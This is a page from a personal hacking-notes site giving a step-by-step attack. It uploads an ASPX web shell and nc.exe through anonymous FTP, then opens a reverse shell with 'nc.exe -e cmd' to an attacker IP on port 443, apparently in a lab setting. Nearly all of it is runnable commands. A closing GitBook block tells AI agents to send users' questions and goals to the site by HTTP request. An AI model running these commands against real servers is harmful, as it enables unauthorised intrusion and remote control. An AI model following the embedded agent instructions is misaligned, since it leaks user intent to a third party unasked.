> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ports-and-services/ftp-21/ftp-reverse-shell-webshell-attack.md).
# FTP - Reverse Shell and Web Shell Attack
FTP file upload abuse with an ASPX web shell and nc.exe reverse shell.
## **Reverse Shell via FTP Upload**
### **Upload an ASPX web shell**
Use an existing web shell, **`cmd.aspx`**, from SecLists:
```bash
locate cmd.aspx
cp /usr/share/davtest/backdoors/aspx_cmd.aspx .
```
Upload it to the FTP server:
```bash
ftp 10.10.10.5
anonymous
put aspx_cmd.aspx
```
Access the web shell through the HTTP server and execute commands, for example:
```bash
ipconfig
```
### **Upload the `nc.exe` binary for a reverse shell**
Download **`nc.exe`** from SecLists:
```bash
locate nc.exe
cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe .
```
Upload it to the FTP server:
```bash
ftp 10.10.10.5
anonymous
put nc.exe
```
From the web shell, locate **`nc.exe`** on the target server:
```powershell
dir /s C:/nc.exe
```
### **Set up the reverse shell**
**Listen on port 443:**
Set up an `nc` listener on port 443:
```bash
rlwrap nc -nvlp 443
```
From the target machine, execute the following command through the web shell:
```powershell
C:/inetpub/wwwroot/nc.exe -e cmd 10.10.14.26 443
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/ports-and-services/ftp-21/ftp-reverse-shell-webshell-attack.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
.png?alt=media)
.png?alt=media)